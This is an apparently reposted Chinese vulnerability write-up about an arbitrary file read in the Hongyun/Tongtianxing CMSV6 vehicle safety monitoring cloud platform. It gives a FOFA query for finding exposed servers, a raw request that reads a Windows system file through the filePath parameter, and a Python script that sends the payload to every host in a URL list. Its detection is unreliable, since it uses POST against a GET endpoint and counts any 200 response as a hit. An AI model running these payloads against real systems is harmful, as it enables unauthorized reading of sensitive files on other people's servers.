鸿运(通天星CMSV6车载)主动安全监控云平台任意文件读取
声明
本文仅用于技术交流,请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
1、漏洞描述
鸿运主动安全监控云平台实现对计算资源、存储资源、网络资源、云应用服务进行7*24小时全时区、多地域、全方位、立体式、智能化的IT运维监控,保障IT系统安全、稳定、可靠运行。
鸿运主动安全监控云平台StandardReportMediaAction_getImage存在任意文件读取漏洞,攻击者可利用该漏洞读取系统敏感文件。
2、fofa查询语句
body="./open/webApi.html"||body="/808gps/"
3、影响版本
鸿运(通天星CMSV6车载)主动安全监控云平台
4、漏洞复现
GET /808gps/StandardReportMediaAction_getImage.action?filePath=C://Windows//win.ini&fileOffset=1&fileSize=100 HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive
5、poc
import argparse
import time
import requests
parser = argparse.ArgumentParser(description='鸿运(通天星CMSV6车载)主动安全监控云平台任意文件读取')
parser.add_argument('-f',help='Batch detection file name',type=str)
args = parser.parse_args()
file = args.f
def get_url(file):
with open('{}'.format(file),'r',encoding='utf-8') as f:
for i in f:
i = i.replace('\n', '')
send_req("http://"+i)
def send_req(url_check):
print('{} runing Check'.format(url_check))
url = url_check + '/808gps/StandardReportMediaAction_getImage.action?filePath=C://Windows//win.ini&fileOffset=1&fileSize=100'
header = {
'User-Agent':'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)',
'Accept': '*/*',
'Connection': 'Keep-Alive'
}
try:
requests.packages.urllib3.disable_warnings()
response = requests.post(url=url,headers=header,timeout=3)
if response.status_code == 200:
print('存在鸿运(通天星CMSV6车载)主动安全监控云平台存在任意文件读取漏洞,请尽快修复漏洞!!!')
except Exception as e:
print(e)
pass
if __name__ == '__main__':
if file is None:
print('请在当前目录下新建需要检测的url.txt')
else:
get_url(file)
原文地址:https://blog.csdn.net/qq_56698744/article/details/136318170
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!